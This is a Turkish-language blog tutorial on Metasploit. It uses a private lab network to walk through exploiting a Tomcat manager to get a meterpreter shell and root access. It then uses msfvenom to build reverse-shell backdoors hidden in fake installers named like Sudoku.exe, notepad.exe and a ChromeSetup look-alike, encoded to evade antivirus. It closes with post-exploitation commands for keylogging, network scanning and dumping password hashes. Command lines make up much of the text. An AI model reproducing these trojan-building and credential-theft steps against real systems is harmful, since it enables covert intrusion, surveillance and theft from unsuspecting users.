Ekim 18, 2021
11 11 11 ÖÖ
TCP nedir ? Aktarım Katmanı 2
Aktarım Katmanı Tcp Nedir
Yönlendirme Nedir 2 ?
Yönlendirme Nedir ?
Ağ Katmanı Nedir 2 ?
Ağ Katmanı Nedir ?
Veri Bağı Katmanı Nedir 2 ?
Android Studio Nasıl Kurulur ?
Veri Bağı Katmanı Nedir ?
Fiziksel Katman Nedir ?
Son Yazılar
TCP nedir ? Aktarım Katmanı 2 Aktarım Katmanı Tcp Nedir Yönlendirme Nedir 2 ? Yönlendirme Nedir ? Ağ Katmanı Nedir 2 ? Ağ Katmanı Nedir ? Veri Bağı Katmanı Nedir 2 ? Android Studio Nasıl Kurulur ? Veri Bağı Katmanı Nedir ? Fiziksel Katman Nedir ?
metasploit

Metasploit

Paylaşım , Takip İçin

Metasploit Nedir

Metasploit açık kaynak kodlu bir exploit frameworküdür. Metasploit, Linux, Windows, MacOs  Kali ortamlarında çalışabilmektedir. Fakat benim önerim Kali linux da kullanmanızdır. Metasploit ile sadece doğrudan saldırı işlemi yapılmaz. Birçok backdoor barındıran dosyalar oluşturup bunlar ile de hedef sisteme saldırı gerçekleştirilebilmektedir. Zafiyetlere yönelik yazılan istismar kodlarını birçok kaynak sitede bulabilirsiniz. Metasploit tarama modülleri,  virüs programlarını atlatma modelleri ve içerisinde hazırda bulunan exploitleri barındıran bir frameworktür. Kali Linux dağıtımlarında Metasploit yüklü olarak gelmektedir. Fakat buna rağmen bazı exploitler geçmişteki açıkları kullanılmadığı için hatalar verebilir bazılarıda eski kaldığı için yeni zafiyetlerde sıkıntı yaşayabilirler 

Metasploit İçerisinde Kullanılan / Bulunan Birkaç Terim ve İşlevleri

Konsolda karşımıza çıkan bilgileri tanımlayarak başlayalım.


Exploit : Yukarıda da bahsettiğim gibi sömürmek, istismar etmektir.


Auxilary : exploit öncesi bilgi toplamaya yarayan modüllerdir.


Post : Sömürü sonrası sistemde kullanılan modüllerdir


Payload : Sömürü sonrası hedef sistemde çalışan kodlardır.


Encoder : Antivirüs, IPS gibi güvenlik çözümlerini atlatmak için kullanılan, payload’ları gizleyen
modüldür.


Şimdi de konsol da kullanılan komutları tanımlayalım.


search : Arama komutudur. Aklınıza gelen her türlü modül, teknoloji, servis ismini arattırabilirsiniz.


Örnek : search dns #DNS ile ilgili tüm exploit,payload, auxilary vs hepsini getirir.


use : Modülü seçer.


Örnek : use auxiliary/gather/enum_dns


Show options : Modül seçeneklerini getirir.

Set : Payload seçiminde değer atamasını yapar. Küçük/büyük harf duyarlıdır.


Örnek : set DOMAIN facebook.com


unset : Atanan değeri kaldırır.


check : Seçilen zayıflığın sistemde var olduğunu kontrol eder.


İnfo : modül hakkında bilgi verir


Run /exploit : Modülün çalışmasını sağlar.


Sessions : Aktif oturumları gösterir ve oturum bilgisi verir.


route : Oturum trafiğinin yönlendirilmesini sağlar.


Back : Mevcut seçenekten bir önceki menüye döner.


Exit : Konsoldan çıkışı sağlar.

Nasıl Kullanılır

Daha öncesinde toplamış olduğumuz bilgiler etrafında hedef domainimizin hakkında ne tür zafiyetler olduğunu tespit etmiş oluyoruz. Eğer tespit etmemiş olursanız metasploite girdikten sonra db_nmap “hedef adres” yazarak tespit etmiş olursunuz.

Şimdi elimizde bulunan zaafiyetler için metasploit-framework de exploit modülü var mı yok mu ona bakacağız eğer var olup çalışmıyorsa endişelenmeyin exploitinizin ayarları veya zafiyetin kullanımı farklı olabilir . Daha sonrasında bu exploitin çalışıp çalışmadığını kontrol edeceğiz.

Örnek olarak ilk başta metasploitimize giriyoruz. Sonrasında zafiyetimizi aratmamız gerekiyor örnek olarak tomcat zafiyetini göstereceğim.

search tomcat diyerek başlayalım.

Daha sonra http içerisinde bizim için lazım olan kod çıktısı alabilmemiz için exploit/multi/http/tomcat_mgr_deploy  seçeneğini seçiyoruz. Sonrasında info veya show options diyerek ayarlarımıza bakıp hangilerini değiştirecek olduğumuza bakalım.

Gördüğünüz gibi buradaki isim ve şifreyi girmemiz gerekecek. Bunun içinde tomcat_login metodunu kullandık tomcat yazımıza bakarak nasıl ad ve şifreyi bulduğumuza bakabilirsiniz.

RHOST : Hedef sistemin IP adresi.
LHOST : Saldırının yapıldığı makinanın IP adresi.
RPORT : Uzak sisteme exploitin gönderileceği portun numarası.
LPORT : Yapılan exploitin cevabının bizim makinaya hangi porttan geleceği.

Bizim örneğimizde rhost ve rport mevcuttur. Bu değerleri değiştirmek için ise set rhost 0.0.0.0 (hedef sistemin IP adresi) girilerek ayarları değiştirmiş oluyoruz.

Tomcat_login zafiyetiyle bulduğumuz username ve passwordu giriyoruz. Aynı şekilde bulduğumuz portuda giriyoruz. Sonrasında payloadımızı meterpreter satırına düşmek için meterpreter payloadı kullanmamız gerekiyor.

Bunun içinde show payloads diyerek payloadlarımız önümüze geliyor. Hedef sistemde güvenlik duvarı veya bizim karşı tarafa bağlantı kurmamızı engelleyen güvenlik önlemi var ise reverse_ seçeneklerini, doğrudan bağlantı kurabiliyor isek bind_ seçeneklerini kullanabiliriz. Daha sonrasında exploit veya run diyoruz.

Gördüğünüz gibi meterpreter shellimizi almış oluyoruz. Fakat root yetkimiz olmadığını farkediyoruz. Root kullanıcısına nasıl geçeceğimize bakalım hemen. 

metasploit

Çıktımıza bakarsak tomcat kullanıcısından root kullanıcısına geçmiş bulunmaktayız ve şifremizi almış durumdayız. Şimdi Windows işletim sistemine sızdığımızda gerekli bilgilere bakacağız .

Şimdi Windows’a sızmadan önce msfvenom kullanarak arka kapı (backdoor) oluşturup bu şekilde Windows’umuza sızacağız.

Msfvenom Nedir ?

Msfvenom metasploit frameworkün içerisinde  bulunan bir payload oluşturma aracıdır. Bu araçtan önce payload işleminde Msfpayload ve encoding işleminde kullanılan Msfencode aracı tek bir araç altında toplanarak Msfvenom’u oluşturmuştur.

Msfpayload

Bu aracın amacı birçok dilde (php,asp,python,ruby vb.) payload oluşturmaktır. Şimdi siz diyeceksiniz ki payload exploitlerle beraber kullanılmıyor muydu? Evet, öyle ancak payloadları direkt olarak bir sistemde çalıştıraraktan da kullanabilirsiniz.

Msfencode

Msfencode ise oluşturulan payloadları kriptolama işleminden geçirerek antivirüslere yakalanmamalarını sağlayan bir araçtır. Ancak artık bu encoderların birçoğu antivirüsler tarafından bilindiği için bu araç ile kriptolasanız bile antivirüsler payloadınızı tespit edecektir.

Payload Türleri

  • Single: Hem karşı bilgisayar ile bizim bilgisayarımızın arasında bağlantı kuran hem de bağlantıyı kurduktan sonra belirli işlemler yapmamızı sağlayan payloadlardır. İkisi bir arada olarak ifade edebiliriz :D.
  • Stagers: Bu türümüz ise karşı sisteme enjekte olarak sadece aradaki bağlantıyı kurar ve sonrasında asıl işi yapacak payloadı devreye sokar.
  • Stages: İşte Stagers’ın devreye soktuğu payload türüdür yani bunların amacı aradaki bağlantıyı sağlamak değildir tamamen işlem yapmaktır. Single payloadlara kıyasla karşı sistemde daha çok işlem gerçekleştirebilir.
metasploit

Şimdi kodumuza gelelim.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.x.x lport=8080 -e x86/shikata_ga_nai -i 200 -f exe -o Downloads/Sudoku.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.129 LPORT=443 -a x86 –platform windows -x Belgeler/notepad.exe -k -e x86/shikata_ga_nai -i 5 -b “\x00” -f exe -o Belgeler/notepad1.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.129 LPORT=443 -a x64 –platform windows -x Downloads/ChromeSetup.exe -k -e x86/shikata_ga_nai -i 20 -b “\x00” -f exe -o Downloads/ChroomeSetup.exe

Burada -p parametresi payload’u alır, ardından eklememiz gereken payload parametrelerini  ekleriz. Daha sonra -a parametresine geçelim -a parametresi payload’umuzun 32 bitlik sisteme göre mi 64 bitlik sisteme göre mi olması gerektiğini belirtilir.–platform parametresi ile payload’umuzun hangi işletim sistemi tipi üzerinde çalışacağı bilgisi belirtilir. -x parametresi ile payload için kullanılacak legal yazılım şablonu belirtilir. Yani biz google chrome setup yükledik yani bu şablonu örnek alacaktır.

-k parametresi (keep parametresi) kullanılacak yazılım şablonunun bozulmadan korunmasını ve payload’umuzun ekstra bir thread olarak şablona enjekte edilmesini sağlar. -e parametresi (yani (e)ncoder parametresi) ile payload’umuzun hangi encoding tekniğiyle kodlanacağı belirtilir. -i parametresi ile (yani (i)terative parametresi ile) kullanılacak encoding tekniğinin payload’umuzu üstüste kaç kere kodlayacağı belirtilir. -b parametresi ile encoding sonucu türeyen lüzumsuz karakterleri otomatize bir şekilde silme işlemi gerçekleşir. Burada payload’un encode’laması sırasında türeyen işlevsiz \x00 karakterleri silinmektedir. Böylelikle payload’umuzun boyutu minimize edilebilir. -f parametresi ile (yani (f)ormat parametresi ile) payload’umuzun çıktısının hangi formatta olacağı belirtilir. -o parametresi ile (yani (o)utput parametresi ile) payload’umuzun çıktısı sonucu oluşacak dosyanın ismi belirtilir.

Bu arka kapımızı oluşturduktan sonra Windows işletim sistemimize atıyoruz. ChromeSetup.exe dosyamızı çalıştırmadan önce Kali makinemize girerek metasploitimize giriyoruz.

Girdikten sonra aşşağıdaki adımları izliyoruz.

  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set lhost 192.168.138.129
  4. set lport 443
  5. exploit

Gerekli olan adımları ayarladıktan sonra Windows işletim sistemine girip ChromeSetup.exe yi çalıştırıyoruz.

Meterpreterimizi aldığımıza göre tuş hareketlerini kaydederek başlayabiliriz.


meterpreter > run post/windows/capture/keylog_recorder

keylog_recorder

Ağ da arp scan yapabiliriz. Bu arama ile sızılan makinenin bağlı olduğu ağlar görülebilir.


meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.138.128/24

metasploit

Hedef makinanın sanal makina olup olmadığına bakabiliriz. 

meterpreter > run post/windows/gather/checkvm

Başka yetkili bir prosese atlayabiliriz.

meterpreter > run post/windows/manage/migrate

Hedef makinada kurulu uygulamaları listeleyebiliriz fakat yeni bir Windows 10 olduğu için pek fazla yüklü uygulama yok.

meterpreter > run post/windows/gather/enum_applications

migrate

Hedef makinada oturum açmış kişileri listeleyebiliriz.


meterpreter > run post/windows/gather/enum_logged_on_users

oturum açmış kişi

Paylaşımları görebiliriz

meterpreter > run post/windows/gather/enum_shares

metasploit

SNMP servis konfigürasyonlarını çekebiliriz

meterpreter > run post/windows/gather/enum_snmp

metasploit

Lokal kullanıcıların şifre hash’lerini çekebiliriz

meterpreter > run post/windows/gather/hashdump

Bunların dışında birçok post modülünü daha  kullanabiliriz.


Paylaşım , Takip İçin
5 1 vote
Article Rating

Bir Cevap Yazın

1 Yorum
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

[…] –Metasploit […]

1
0
Would love your thoughts, please comment.x
()
x
HAYALİNDEKİ YAZILIM
%d blogcu bunu beğendi: